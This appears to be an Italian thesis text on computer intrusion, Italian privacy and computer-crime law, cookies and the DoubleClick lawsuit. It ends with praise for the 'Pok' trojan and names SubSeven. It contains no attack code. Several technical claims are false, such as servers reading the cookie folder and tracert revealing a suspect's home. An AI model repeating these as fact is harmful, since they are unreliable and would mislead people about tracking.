Il Compartimento di Polizia Postale e delle Telecomunicazioni con la legge 547/93 ha individuato una figura di reato prevista dall’art. 266 bis c.p. che è l’intrusione informatica. Il violatore viene definito Hacker. Ma vi sono molte figure analoghe: 

l’ Insider , per esempio, è il dipendente infedele che vìola la fiducia dell’ Amministrazione e vìola anche il vincolo del segreto professionale. Si tratta in genere di ex Amministratori di sistema o di utilizzatori del sistema stesso che approfittano delle conoscenze acquisite per violare accessi protetti. Gli Hacker veri e propri hanno particolari competenze in campo informatico ed elaborano sempre nuovi sistemi di intrusione ingaggiando una lotta continua con i produttori di software che vengono continuamente stimolati a produrre nuovi programmi di sicurezza. In genere l’ hacker non tende ad arrecare danni, ma vuole soltanto dimostrare la sua bravura.

I Cracker invece sono quelli che vogliono arrecare danni, distruggere i sistemi, e i database. 

I Lamer sono pirati con minori competenze ed utilizzano lo stesso software di rete per operare accessi non autorizzati. 

I Prehacker sono dei furboni che hanno particolari conoscenze e si avvalgono della rete per navigare gratis e per non pagare le telefonate.

L’accesso più semplice è quello dell’ Insider che conosce le password e talvolta sfrutta i Bugs che i programmatori lasciano nel fare i programmi. Per esempio qualche buco è stato scoperto nel programma di Internet Explorer. Si può entrare in un sistema attraverso le Back-doors, ovvero porte di servizio che gli Amministratori di sistema lasciano per colloquiare a distanza con le macchine. I programmi per accedere abusivamente si possono scaricare da Internet. Si può entrare in un sistema attraverso "cavalli di troia", di cui è argomento la presente Tesi, che sono programmi eseguibili, talvolta nascosti nelle e - mail. Attraverso la posta elettronica gli hackers si aprono una porta di accesso al sistema ed attaccano la rete con dei files DOS ( Denial Of Service) [negazione di servizi] oppure con attacchi concentrici da più parti che paralizzano i sistemi e la rete ( Distributed denial of service) Con i BUFFER OVERFLOW si satura il sistema per cui occorrerà riavviare la macchina bloccata. 

Il Net Strike è un appuntamento che gli hackers di danno in rete per assaltare un sito, ad esempio, lo scorso anno vi è stata la giornata mondiale “Stop Pedofilia” durante la quale si è tentato l’oscuramento di diversi siti pornografici, notizie sull’azione possono essere reperite in internet. 

L’attività investigativa si conclude con la denuncia mediante querela, ma le aziende sono restie a sporgere denuncia anche per non essere ulteriore oggetto di attacchi una volta che si scopre la vulnerabilità dei sistemi di sicurezza.

Privacy e misure di sicurezza.  

Trattamento dei dati personali implicazioni legali per i responsabili.
La legge n.675/'96 (cosiddetta "legge sulla privacy") disciplina il trattamento dei dati personali. Fine esplicito della legge in parola è quello di garantire "che il trattamento dei dati personali si svolga nel rispetto dei diritti, delle libertà fondamentali, nonché della dignità delle persone fisiche, con particolare riferimento alla riservatezza e all'identità personale" (art.1 comma 1 legge n.675/'96).
La legge, tra le altre cose, si preoccupa della "sicurezza" dei dati oggetto del trattamento. Rilevano in proposito due diverse esigenze di tutela:
a) la tutela dal rischio di distruzione o perdita, anche accidentale, dei dati stessi;
b) la tutela dal rischio di accesso non autorizzato, di trattamento non consentito o non conforme alle finalità del trattamento.
Tali esigenze hanno trovato attuazione nella Sezione III del Capo III della legge n. 675/1996, intitolata "Sicurezza nel trattamento dei dati, limiti alla utilizzabilità dei dati e risarcimento del danno".
L'art.15 comma 1 della legge n.675 prevede che "i dati personali oggetto di trattamento devono essere custoditi e controllati, anche in relazione alle conoscenze acquisite in base al progresso tecnico, alla natura dei dati e alle specifiche caratteristiche del trattamento, in modo da ridurre al minimo, mediante l'adozione di idonee e preventive misure di sicurezza, i rischi di distruzione o perdita, anche accidentale, dei dati stessi, di accesso non autorizzato o di trattamento non consentito o non conforme alle finalità della raccolta".
Il comma 2 della norma in esame rinvia alla fonte regolamentare per l'individuazione delle "misure minime di sicurezza da adottare in via preventiva".
Occorre dunque, in primo luogo, distinguere da un lato le misure di sicurezza volte ad assicurare l'integrità dei dati, dall'altro le misure volte invece ad assicurare le esigenze vere e proprie di privatezza (contro il rischio di accesso non autorizzato, di trattamento non consentito o non conforme alle finalità del trattamento).
Entrambe le tipologie di misure vanno poi distinte in misure idonee (di cui al comma 1 della norma), e misure minime, di cui al comma 2, da individuare con regolamento di emanazione governativa.

Distinguiamo quindi tra:

1. misure di salvaguardia dell’integrità dei dati

2. misure di sicurezza dell’innacessibilità dei dati da parte di terzi non autorizzati.

La violazione delle prime misure, da individuare caso per caso, comporta conseguenze solo sotto il profilo risarcitorio, la violazione delle seconde comporta invece responsabilità penali.
Il regolamento sulle misure minime è stato poi emanato con Decreto del Presidente della Repubblica 28 luglio 1999, n. 318 (in Gazz. Uff., 14 settembre, n. 216) - Regolamento recante norme per l'individuazione delle misure minime di sicurezza per il trattamento dei dati personali.
Entrata in vigore
L'articolo 41, comma 3, della legge 675 prevedeva per la concreta adozione delle misure stesse, un termine di sei mesi decorrente dalla data di entrata in vigore del regolamento.
Pertanto, il termine finale per adeguarsi alle suddette misure minime risultava fissato al 29 marzo 2000 (atteso che il DPR n.318/'99 è entrato in vigore il 29 settembre 1999).
Lo scarso livello di attuazione del suddetto regolamento, ha indotto il legislatore a concedere una sorta di proroga-sanatoria, fino al 31 dicembre 2000, nei confronti dei "soggetti che documentino per iscritto le particolari esigenze tecniche e organizzative che rendono necessario avvalersi di un termine più ampio"(v. art.1 comma 1 legge n n.325/2000), e ciò con atto di data certa, da redigere entro l'11 dicembre 2000.
Il suddetto documento "deve contenere una esposizione sintetica delle informazioni necessarie, da cui risultino:
a) gli accorgimenti da adottare o già adottati e gli elementi che caratterizzano il programma di adeguamento, nonché le singole fasi in cui esso è eventualmente ripartito;
b) le linee-guida previste per dare piena attuazione alle misure minime di sicurezza, la cui inosservanza è sanzionata ai sensi dell'articolo 36 della legge 31 dicembre 1996, n. 675, nonché alle più ampie misure di sicurezza previste dal comma 1 dell'articolo 15 della medesima legge n. 675 del 1996".
Gli incaricati del trattamento
Quando il trattamento dei dati non sia effettuato dal titolare o dal responsabile del trattamento (o esclusivamente dallo stesso), quando, in buona sostanza, il trattamento dei dati avvenga all'interno di organizzazioni plurisoggettive (imprese, studi professionali, pubblici uffici), è necessaria la preliminare individuazione dei soggetti che siano incaricati del trattamento, e quindi, come tali, autorizzati a prendere cognizione dei dati.
Secondo l'art.19 della legge n.675/'96, infatti, "non si considera comunicazione la conoscenza dei dati personali da parte delle persone incaricate per iscritto di compiere le operazioni del trattamento dal titolare o dal responsabile, e che operano sotto la loro diretta autorità".
L'art.8 comma 5 della legge si preoccupa di specificare che "gli incaricati del trattamento devono elaborare i dati personali ai quali hanno accesso attenendosi alle istruzioni del titolare o del responsabile".
L'art.9 comma 1 del DPR n.318/'99 puntualizza ulteriormente che, nel designare gli incaricati del trattamento per iscritto e nell'impartire loro le istruzioni il titolare o il responsabile "devono prescrivere che gli incaricati abbiano accesso ai soli dati personali la cui conoscenza sia strettamente necessaria per adempiere ai compiti loro assegnati".
L'art.5 del regolamento prevede poi che per il trattamento dei dati di cui agli articoli 22 e 24 della legge n.675 (cioè dei dati sensibili e giudiziari) effettuato con elaboratori elettronici connessi in rete, l'accesso per effettuare le operazioni di trattamento venga determinato sulla base di autorizzazioni assegnate, singolarmente o per gruppi di lavoro, agli incaricati del trattamento o della manutenzione.
L'autorizzazione, se riferita agli strumenti, deve individuare i singoli elaboratori attraverso i quali è possibile accedere per effettuare operazioni di trattamento.
L'autorizzazione all'accesso deve essere limitata ai soli dati la cui conoscenza è necessaria e sufficiente per lo svolgimento delle operazioni di trattamento o di manutenzione.
Trattamento mediante elaboratori elettronici
Per quel che concerne il trattamento dei dati personali effettuato mediante elaboratori elettronici, occorre distinguere fra tre diverse ipotesi, a seconda che il trattamento avvenga mediante:
1. elaboratori non accessibili da altri elaboratori o terminali (elaboratori "stand alone");
2. elaboratori accessibili da altri elaboratori solo attraverso reti non disponibili al pubblico;
3. elaboratori accessibili mediante una rete di telecomunicazioni disponibili al pubblico.
Elaboratori stand alone
Nel primo caso, le misure di sicurezza si incentrano essenzialmente nell'adozione di parole chiave (password) per l'accesso ai dati da parte degli incaricati del trattamento.
Quando vi siano più incaricati e più parole chiave, è altresì necessario individuare per iscritto un addetto alla custodia delle password.
La password è prevista per l'accesso ai dati. Ciò significa che, per ciascun elaboratore stand alone, qualora vi sia un unico addetto autorizzato ad accedere ai dati contenuti (ovvero più addetti abbiano accesso a tutti i dati in esso contenuti) potrà essere adottata un'unica password (indifferente che sia "a monte", da immettere all'accensione dell'elaboratore, ovvero "a valle", per accedere ai dati).
Nel caso invece che più addetti abbiano l'accesso al computer, ma non siano autorizzati a prendere cognizione di tutti i dati ivi contenuti, sarà necessario differenziare le password per ciascun incaricato (e nominare il relativo "custode").
Elaboratori accessibili da altri elaboratori solo attraverso reti non disponibili al pubblico (art.3 comma 1 lett. a) DPR n.318/'99)
Si tratta delle cosiddette L.A.N. (local area network) cioè delle reti locali di elaboratori (connessi tra loro tramite cavo, o comunque con sistemi anche a distanza, ma non disponibili al pubblico).
In questa ipotesi, il regolamento oltre all'adozione delle misure viste sopra per gli elaboratori stand alone, prevede:
a) che a ciascun utente o incaricato del trattamento venga attribuito un codice identificativo personale per l'utilizzazione dell'elaboratore.
Il regolamento specifica che tale codice (che normalmente coinciderà con il "nome utente") non può, neppure in tempi diversi, essere assegnato a persone diverse (fa eccezione l'amministratore di sistema, che, in molti sistemi operativi che gestiscono la multiutenza, viene genericamente definito come utente "root");
b) che i codici identificativi personali vengano assegnati e gestiti in modo che ne sia prevista la disattivazione in caso di perdita della qualità che consentiva l'accesso all'elaboratore o di mancato utilizzo dei medesimi per un periodo superiore ai sei mesi;
c) che gli elaboratori vengano protetti contro il rischio di intrusione ad opera di programmi di cui all'art. 615 quinquies del codice penale, mediante idonei programmi (da aggiornare con cadenza almeno semestrale).
I programmi di cui all'art.615 quinquies sono quelli aventi "per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad esso pertinenti, ovvero l'interruzione totale o parziale, o l'alterazione del suo funzionamento".
Si tratta, in buona sostanza, dei cosiddetti programmi virus, così denominati perché si diffondono, per lo più, mediante un meccanismo che è stato accostato, metaforicamente, al contagio.
Il che lascia qualche perplessità, atteso che il riferimento al "rischio di intrusione" fa pensare alle intrusioni di soggetti non autorizzati (hacker) attraverso la rete internet o comunque tramite la rete telefonica.
Attacchi dai quali ci si può difendere tramite i cosiddetti firewall (letteralmente: barriere antincendio), che possono essere sia di tipo hardware che software.
Il riferimento all'aggiornamento almeno semestrale sembra comunque riguardare i programmi cosiddetti antivirus, che, a differenza dei programmi firewall, necessitano, per essere efficaci, di periodici aggiornamenti, stante il continuo proliferare di nuovi virus.
Elaboratori accessibili mediante una rete di telecomunicazioni disponibili al pubblico (art.3 comma 1 lett. b) DPR. n.318/'99)
Alle stesse regole descritte finora per gli elaboratori stand alone e per quelli connessi in rete sono soggetti gli elaboratori di cui alla terza ipotesi (elaboratori accessibili mediante una rete di telecomunicazioni disponibili al pubblico).
Tuttavia l'individuazione dell'esatta portata della fattispecie è problematica.
Ed infatti la norma sembra, in prima lettura, fare riferimento alle cosiddette W.A.N. (wide area network), cioè agli elaboratori che, pur distanti tra loro, siano connessi mediante l'utilizzo di una rete di telecomunicazioni (disponibile al pubblico).
Sennonché si è osservato che, di fatto, tutti gli elaboratori che si colleghino anche temporaneamente ad internet, per navigare sul web o utilizzare la posta elettronica, diventano virtualmente "accessibili", sia pure abusivamente, da parte di terzi (è il caso degli hacker).
L'individuazione dei limiti della fattispecie è particolarmente rilevante, giacché la ricorrenza di tale ipotesi implica l'applicazione dell'art. 6 del D.P.R. n.318/'99, norma che prevede l'adozione di un documento programmatico sulla sicurezza, da predisporre ed aggiornare con cadenza annuale.
Finalità del documento è definire, sulla base dell'analisi dei rischi, della distribuzione dei compiti e delle responsabilità nell'ambito delle strutture preposte al trattamento dei dati stessi:
a) i criteri tecnici e organizzativi per la protezione delle aree e dei locali interessati dalle misure di sicurezza nonché le procedure per controllare l'accesso delle persone autorizzate ai locali medesimi;
b) i criteri e le procedure per assicurare l'integrità dei dati;
c) i criteri e le procedure per la sicurezza delle trasmissioni dei dati, ivi compresi quelli per le restrizioni di accesso per via telematica;
d) l'elaborazione di un piano di formazione per rendere edotti gli incaricati del trattamento dei rischi individuati e dei modi per prevenire danni.
Conseguenze sanzionatorie
Dalla inosservanza delle misure di sicurezza possono derivare sia conseguenze civili che penali.
Responsabilità civile
Sotto il profilo civilistico, rileva l'art.18 della legge n.675/'96 che dispone che "chiunque cagiona danno ad altri per effetto del trattamento di dati personali è tenuto al risarcimento ai sensi dell'articolo 2050 del codice civile".
Il richiamo all'art.2050 c.c. che com'è noto riguarda la responsabilità per l'esercizio di attività pericolose, significa che il legislatore ha ritenuto di dover espressamente equiparare l'attività di trattamento di dati personali alle attività pericolose, con conseguenze rilevanti soprattutto in tema di onere della prova.
In base all'art.2050 c.c., infatti, colui che cagiona danno ad altri nello svolgimento di un'attività pericolosa ha l'onere di provare di avere adottato tutte le misure idonee a evitare il danno. Misure idonee la cui adozione è prevista, come si è visto sopra, dal comma uno dell'art.15 della legge n.675/'96.
Ne consegue che l'adozione delle misure minime (previste dal comma due del suddetto articolo 15), di per sé, non esime dalla responsabilità civile, atteso che occorre dimostrare l'idoneità delle misure stesse ad evitare il danno.
Il richiamo all'art.2050 c.c. pone l'art.18 della legge n.675/'99 nell'ambito della responsabilità extracontrattuale, coerentemente con il quadro normativo che tutela principalmente, come si è visto sopra, i diritti, le libertà fondamentali, nonché la dignità delle persone fisiche, con particolare riferimento alla riservatezza e all'identità personale" (v.art.1 comma 1 legge n.675/'96).
Se tuttavia il titolare del trattamento e il soggetto che abbia subito il danno siano legati da vincolo contrattuale, potrà senz'altro essere fatta valere la responsabilità contrattuale di cui all'art.1218 c.c. (con conseguenze evidenti in tema di termini di prescrizione e di danno risarcibile).
Responsabilità penale
Per quel che concerne, invece, la responsabilità penale, rileva soltanto la violazione delle misure minime di cui al comma 2 dell'art.15 della legge n.675/'96 e del relativo regolamento emanato con il DPR n.318/'99.
L'art.36 primo comma della legge n.675/'96 sanziona infatti penalmente la condotta di "chiunque, essendovi tenuto, omette di adottare le misure necessarie a garantire la sicurezza dei dati personali, in violazione delle disposizioni dei regolamenti di cui ai commi 2 e 3 dell'art.15".
La pena comminata è quella della reclusione fino a un anno. 

Il secondo comma della norma in esame estende la punibilità anche ai fatti commessi per colpa. In tal caso si applica sempre la pena della reclusione fino a un anno.
Si tratta di una fattispecie omissiva propria; destinatario della norma è chiunque sia tenuto ad adottare misure di sicurezza.
Potranno quindi essere chiamati a rispondere del delitto in esame, non solo i titolari del trattamento, titolari di una posizione di garanzia che trova la propria fonte direttamente nella legge, ma anche altri soggetti quali il responsabile del trattamento e gli incaricati del trattamento o della manutenzione, la cui posizione di garanzia è di fonte contrattuale.
Il DPR n.318/'99, tuttavia, non individua per ogni singola misura di sicurezza i soggetti tenuti ad adottarla. Andranno quindi individuati caso per caso i ruoli e gli incarichi conferiti in concreto all'interno della struttura.
La delega di funzioni, tuttavia, non varrà certo ad esonerare il titolare da ogni responsabilità, atteso che potrà sempre essere chiamato a rispondere a titolo di concorso, ovvero a titolo di colpa in eligendo o vigilando.
NOTE IN MERITO.
  I dati sensibili sono quei dati personali idonei a rivelare l'origine razziale ed etnica, le convinzioni religiose, filosofiche o di altro genere, le opinioni politiche, l'adesione a partiti, sindacati, associazioni od organizzazioni a carattere religioso, filosofico, politico o sindacale, nonché i dati personali idonei a rivelare lo stato di salute e la vita sessuale.
I dati di cui all'art.24 sono dati iscrivibili nel casellario giudiziale e precisamente le iscrizioni di cui all'articolo 686, commi 1, lettere a) e d), 2 e 3 del codice di procedura penale,:
- le sentenze di condanna e i decreti penali irrevocabili, salvo quelli concernenti contravvenzioni per le quali e' ammessa la definizione in via amministrativa o l'oblazione ai sensi dell'articolo 162 del codice penale, sempre che per le stesse non sia stata concessa la sospensione condizionale della pena;
- i provvedimenti emessi dagli organi giurisdizionali dell'esecuzione non più soggetti a impugnazione che riguardano la pena, le misure di sicurezza, gli effetti penali della condanna, l'applicazione dell'amnistia e la dichiarazione di abitualità o professionalità nel reato o di tendenza a delinquere;
- i provvedimenti che riguardano l'applicazione di pene accessorie;
- le sentenze non più soggette a impugnazione che hanno prosciolto l'imputato o dichiarato non luogo a procedere per difetto di imputabilità o disposto una misura di sicurezza o dichiarato estinto il reato per applicazione di sanzioni sostitutive su richiesta dell'imputato.
- i provvedimenti definitivi che riguardano l'applicazione delle misure di prevenzione della sorveglianza speciale semplice o con divieto od obbligo di soggiorno;
- la menzione del luogo e del tempo in cui la pena fu scontata e dell'eventuale applicazione di misure alternative alla detenzione ovvero la menzione che non fu in tutto o in parte scontata, per amnistia, indulto, grazia , liberazione condizionale o per altra causa;
- i provvedimenti che dichiarano o revocano la riabilitazione;

Cookies

I cookies sono dei dati che vengono inviati dal server del sito che stiamo visitando (se ovviamente viene utilizzata questa tecnologia) e vengono registrati dal nostro browser (in un determinato file chiamato solitamente cookies.txt) e servono per "identificarci" come "quel determinato utente" che sta facendo quel percorso di navigazione o riempiendo una serie di form, o altro. Servono principalmente per gestire un utente "identificato" che interagisce in un sito web (ad esempio gestione mailing list o gruppo di lavoro su web) oppure, ed è la parte che dal lato privacy piu' ci interessa identificarci come utente xy che ha visitato quel sito ed ha fatto quelle scelte, cosi' la volta successiva, il gestore che ha analizzato i cookie distribuiti saprà gia' di cosa si interessa l’utente (anche se non sa chi è, riconosce il  browser come quello che e' passato l'altra volta) .

Per fare un esempio ci colleghiamo al sito di un servizio di notizie on line e cerchiamo informazioni riguardo cio' che succede a Roma e in Italia riguardo ai servizi finanziari, la volta successiva che si accederà  a quel sito il cookie ci identifica come xy (in realta' le stringhe sono di questo tipo: .altavista.com TRUE / FALSE 1388491002 AV_USERKEY AVSde18d768a200001e0010ac000586c ) così che potrà essermi inviata della pubblicita' molto piu' mirata, sia localmente che riguardo agli interessi del navigatore  per esempio della Banca di Roma.
Per evitare l'azione dei cookies rimuoverli una volta disconessi dal World Wide Web o, in alternativa settare le opzioni del browser in maniera da monitorare o inibire i cookies (attenzione: alcuni siti potrebbero proibire l'accesso se non accettati i loro "biscottini"). In alternativa esistono dei software che rimuovono automaticamente i cookies appena off-line. 

Si puòcancellare a mano quello che il browser ha accumulato nel file cookies.txt che si trova ad esempio in: C:/programmi/netscape/users/...tuo nome/cookies.txt

Alcuni cookies sono però progettati per andare a fare parte dei file di sistema e quindi non possono essere rimossi con questa tecnica, la soluzione rimane quella di avviare la macchina sotto DOS e comunque con un altro sistema operativo e procedere alla cancellazione.

Dato che nei cookies e' possibile scrivere qualsiasi cosa (non ci sono obblighi sintattici, sono files di testo) possono servire sia semplicemente ad alleggerire il server che a una specie di ''spionaggio'' perche' la cartella che contiene i cookies e' leggibile dal server, per cui potenzialmente si puo' controllare quali siti ha visitato l'utente prima di quello attuale.

Supponiamo paradossalmente che i servizi segreti di un certo stato vogliano monitorare i movimenti eseguiti da una certa organizazione terroristica, se si ha il sospetto che questi comunico tramite siti web ovviamente nascondendo tra gli articoli i dispacci utili, sarà possibile utilizzare uno dei Server di transito (di proprietà di chi è in  monitoraggio), scaricare dei Cookies apparentemente innocui sul browser del sospetto.

Una volta dentro alla cartella condivisa si potrà studiare tutte le mosse fatte sul web dall’ignaro terrorista.

Per verificare l’assoluta verità di quanto esposto basterà dare il comando “Tracert” oppure “Traceroot” ( a seconda del sistema operativo usato) da una finestra di testo, ad esempio dalla finestra Dos di Windows. Il sistema analizzerà il percorso di rete mostrando tutti gli i-node e server attraversati prima di gingere al PC del sospetto.

Dallo studio dell’ IP dinamico assegnato dal server sarà possibile risalire al domicilio di chi si vuole controllare.

Ovviamente si presume che non esistano terroristi così stupidi da farsi tracciare con tecniche così banali, ma sono note metodologie ben più sottili ed efficaci.

Cookie di doubleclick

La Doubleclick che gestisce il più grande giro d’affari mondiale della pubblicità su Internet e due siti web di sua proprietà: IAF.net e NetDeals.com. vìola la privacy e vi segue ovunque.
All’inizio dell’anno, un’ Avvocato del Michigan, ha dato inizio ad una azione legale contro la DoubleClick, Inc., 

Nell’azione legale si afferma che DoubleClick ha violato il Michigan Consumer Protection Act (legge del Michigan per la protezione dei consumatori) ed altre leggi omettendo di avvisare gli utenti che DoubleClick impianta sistematicamente i propri "cookies" - file di sorveglianza elettronica - sugli hard drive dei computer degli utenti senza che questi siano consapevoli né consenzienti.
La DoubleClick procede successivamente alla compilazione di profili personali degli utenti consumatori, potenzialmente collegabili a nome, indirizzo di casa ed indirizzo e-mail della persona ed ha già raccolto 100 milioni di profili personali.
La DoubleClick e l’ufficio dell’avvocatura generale stanno negoziando già da un anno per risolvere la disputa, alcune fonti vicine al caso hanno riportato che le trattative si sarebbero recentemente interrotte.
Il presidnte di DoubleClick, ha dichiarato che la sua azienda "non ha mai usato, e mai lo farà, dati rilevanti raccolti online. 
La dirigenza afferma che "la politica di DoubleClick è quella di raccogliere informazioni personali identificabili le quali sono fuse con informazioni identificabili non personali al fine di ottenere i profili, solo dopo aver provveduto a fornire chiari avvisi e possibilità di scelta." 
La querelante invece sostiene che "ogni volta che si usa Internet, DoubleClick piazza un codice a barre addosso all’utente - uno user I.D. (ovvero un codice di identificazione) - in modo da poter riconoscere interessi, abitudini e preferenze personali." 
"Dato che la DoubleClick impianta segretamente file di sorveglianza aggiuntivi mentre gli utenti navigano in Internet, l’azienda è in grado di aggiungere informazioni personali dettagliate alla sua banca dati".
"Il consumatore medio non ha idea del fatto che i propri movimenti in rete sono spiati, si tratta di qualcosa che va ben oltre l’intercettazione segreta, in questo caso ci sono le aggravanti dello scopo di lucro"
I "Cookies" (letteralmente "biscottini" n.d.t.) sono minuscoli file elettronici che vengono abitualmente depositati nel computer degli utenti di Internet al momento in cui si visita un sito web e consentono al sito ospite di riconoscere gli utenti e aggiustare l’offerta di beni e servizi quando quest’ultimo torna nuovamente a visitare il sito. 
Un cookie, come già accennato non identifica l’utente per nome - si limita ad etichettare il suo computer con un numero di identificazione (I.D. number).
La DoubleClick non opera sempre direttamente ma spesso compare come terzo in molti siti web, ciononostante essa opera piazzando cookies di sorveglianza aggiuntivi nei computer privati, senza che gli utenti abbiano la minima idea che DoubleClick sia presente sul sito.

La querelante spiega che "per esempio, un consumatore che visiti il sito del suo rivenditore di vestiti di fiducia, può aspettarsi che quest’ultimo raccolga informazioni sulle sue preferenze, così da adeguarvisi alla sua prossima visita; quello che il consumatore non immagina è che anche un altro elemento, ovvero la DoubleClick, piazza un cookie di sorveglianza nel suo computer privato al fine di rivendere le informazioni raccolte in un profilo ad altri pubblicitari della rete."

Nel novembre 1999, DoubleClick ha acquistato la Abacus Direct Corporation, una azienda che si occupa di compilare, analizzare e rivendere le informazioni personali "identificabili" dei consumatori, quali nome, indirizzo e numeri di telefono, raccolte principalmente da cataloghi di transazioni commerciali.
Il database dell’Abacus contiene dettagliati profili di consumo, relativi a più del 90% delle famiglie statunitensi.

La DoubleClick raccoglie direttamente informazioni personali "identificabili" anche tramite le operazioni delle sue due sussidiarie, IAF.Net e NetDeals.com; l’azienda ha indicato di essere "in grado di associare" tali informazioni personali "identificabili" con i contenuti "non identificabili" dei profili che raccoglie grazie ai cookie di sorveglianza che piazza con arroganza nei computer.

Al fine di fronteggiare la crescente preoccupazione pubblica in merito alle sue attività, il 14 febbraio 2000, DoubleClick ha annunciato una nuova "linea di condotta sulla privacy", si tratta della quarta del genere dal 1997, e mantiene tutte le ambiguità delle precedenti rispetto al modo con cui l’azienda si servirà delle informazioni sui consumatori che compila. 
Ad una richiesta di chiarimenti, i rappresentanti di DoubleClick rispondono che, assieme ad altri elementi del panorama delle industrie, hanno adottato i principi di auto-regolamentazione della Network Advertising Initiative (Iniziativa Pubblicitaria di Rete), approvati dalla Commissione Federale per il Commercio.
Sulla base di tali principi "i pubblicitari operanti sul network non devono servirsi di informazioni personali identificabili riguardanti dati "delicati" su salute, finanze, comportamento e orientamento sessuale e codici assicurativi", ai fini del mercato delle preferenze telematiche. 
È inoltre proibita la fusione di banche dati che contengano informazioni personali identificabili, raccolte senza il consenso dei consumatori.
La querelante avverte che, "la linea di condotta sulla privacy attuata dalla DoubleClick è trasformista e che i consumatori devono essere estremamente cauti prima di affidarsi alle vaghe promesse dell’azienda.
Oggi la linea di condotta indica una cosa e domani potrebbe indicarne un’altra. 
"Non abbiamo certezze sul fatto che le future politiche della Doubleclick non comportino la vendita al miglior offerente di informazioni riguardanti l’uso personale di Internet." 
Conclusioni

In realtà ci sarebbe molto altro da dire a proposito di Pok e dei programmi similari a cui si è inspirato, ma credo che l’esposizione di questa Tesi  basti come introduzione e potrebbe  consentire agli utenti di scoprire da soli le sue altre funzioni.

Con il passare del tempo (e soprattutto con la graduale diffusione di nuove edizioni di Windows) il Pok_Server diventerà lentamente meno utile perché consente di amministrare soltanto Windows 95/98. Per fare le stesse cose con le nuove versioni di Windows esistono altri programmi analoghi, come SubSeven.
La cosa più importante è che Pok e i programmi da cui deriva hanno  raggiunto lo scopo per il quale sono stati scritti: dimostrare la debolezza intrinseca di Windows mostrando quanto è facile prendere il controllo completo di una macchina che usa questo sistema operativo e l'ingenuità dell'utente medio di personal computer. La sua esistenza ha indotto Microsoft a migliorare la sicurezza dei propri prodotti e ha trasmesso negli utenti la consapevolezza che Internet non è un posto sicuro e tranquillo e il rischio di intrusioni informatiche è assolutamente reale.

Appendice A:

La legge in tema di computer e cyber crimes.

In linea generale l’espressione “computer crimes” indica l’insieme dei reati tipici dell’informatica e vi comprende anche i “cyber crimes” propri delle reti telematiche, in particolare internet.

Tra i reati informatici, la dottrina distingue tra i reati commessi su internet e i reati commessi mediante internet:  nei primi ( Reati informatici o telematici propri ) è posta buona parte dei reati introdotti con la legge del 23 dicembre 1993 n. 547, mentre i secondi (reati informatici  o telematici  impropri) coincidono con il complesso eterogeneo di “reati comuni” previsti dal codice penale, da leggi speciali o anche dalla stessa legge 547/1993.

Prima dell’entrata in vigore della legge 547/1993, dottrina e giurisprudenza avevano incontrato numerose difficoltà interpretative che spesso condussero a soluzioni non uniformi.

Successivamente con la nuova legge, da un lato si è inteso colpire senza i suddetti imbarazzi interpretativi, un settore emergente della criminalità, dall’altro si è cercato di allontanare il rischio di applicazioni analogiche ( stesse regole per casi analoghi ) di disposizioni preesistenti.

Il tutto, con un intervento all’interno del codice penale e con l’introduzione di nuovi concetti adatti ai mutamenti tecnologici degli ultimi anni:Basti pensare alla “violenza sulle cose” (Art.329 C.P. Esercizio arbitrario delle proprie ragioni con violenza sulle cos, al 3° comma), al “documento informatico” (art.491 e 621, 2° comma del cod. penale), al “sistema informatico e telematico” (tra le diverse disposizioni , art. 615 ter c.p.), alla corrispondenza informatica o telematica” (rilevante ad esempio nella definizione offerta dall’art.616, 4° comma del cod. penale) ed alla triade “dati, informazioni, programmi”  presentata in diverse delle disposizioni aggiunte nel 1993.Paradossalmente pur partendo da un intento chiarificatore, si è assistito ad un allargamento sia di tali concetti che dal campo di azione delle singole fattispecie penali in relazione alla tutela del beni protetti.Effetto criticabile, spesso dovuto ad una non perfetta conoscenza dell’oggetto tecnologico da parte dell’interprete.

La legge 23 dicembre 1993 n°. 547 (modificazioni e successive integrazioni alle norme del codice penale e del codice di procedura penale in tema di criminalità informatica) ha inserito nel codice penale e precisamente nell’ambito dei reati contro l’inviolabilità del domicilio ( Codice penale libro secondo:Dei delitti in particolare –Titolo XII: Dei delitti contro la persona- Capo III : Dei delitti contro l’inviolabilità del domicilio), “art. 615 ter (Rubrica:Accesso abusivo ad un sistema informatico o telematico), l’art. 615 quater (Rubrica: Detenzione e Diffusione abusiva di codici di accesso a sistemi informatici o telematici) e l’articolo 615 quinquies  ( Rubrica: Diffusione di programmi diretti a danneggiare o interrompere un sistema informatico ).

Versioni contrastanti. 

Il realtà, come fa notare il Prof . Antolisei, l’inserimento nell’ambito della sezione in esame, dei nuovi reati diretti a tutelare l’integrità, la detenzione e l’uso dei sistemi informatici e telematici sembra innoportuno perché non si tratta di modalità di violazione dei luoghi di privata dimora bensì di quelle forme di offesa della privacy che vengono ad interferire su strumenti capaci di favorire tecniche di lavoro intellettuale, di conservare e trasferire elaborati,di proteggere la notizia ed il pensiero. Ciò nell’ambito di un concetto di tutela della riservatezza  che tende ad assumere dimensioni sempre più ampie: infatti non si tratta più soltanto di protezione dell’interesse alla conoscenza esclusiva delle vicende proprie, bensì anche di quelle dell’utilizzazione senza interferenza esterne di dati, cognizioni, prodotti dell’ingegno, sui quali si intende mantenere una sfera di legittimo riserbo.

L’ Art. 615 Ter, Codice Penale.

La ratio, la ragione pratica che sta alla base dell’art. 615 ter. C.P. è posta in un’esigenza di difesa della riservatezza, uno dei diritti fondamentali della persona umana, sancito dall’art. 2 della costituzione. 

Trattandosi poi di un diritto disponibile ( di cui il titolare può disporre ) è contemplata la possibilità di querela.

La condotta consiste in qualsiasi tipo di interferenza resa comunque possibile dallo sviluppo tecnico, nel programma o nella memoria di apparati informatici o telematici non aperti ma garantiti da una chiave di ingresso o altro mezzo di protezione, contro la volontà del titolare ius excludendi (diritto di escludere ).

Generalmente non vi sarà una contrapposizione espressa di volontà (pur ipotizzabile),  ma un inserimento clandestino o con inganno  da cui dovrà indursi ( salvo prova contraria) il dissenso del dominus (il titolare). Questo potrà emergere da atti o fatti incompatibili con un atteggiamento permissivo, del resto di per sé è di norma escluso dal dato stesso della predisposizione di misure di sicurezza (es. parola, numero o frase di accesso).

Può rilevarsi anche una condotta omissiva da parte di chi avendo goduto in precedenza del diritto o del consenso, continui ad inserirsi  quando quello (diritto) è venuto meno o quello (consenso) è stato validamente revocato.

L’inciso abusivamente introduce una nota di antigiuridicità speciale la cui sfera di efficacia non è agevolmente delimitabile.

Certamente non sarà illegittima una interferenza disposta dal magistrato nei modi di legge trattandosi si un esercizio di un diritto o adempimento di un dovere, vedi Art. 15 cost. al 2° comma).

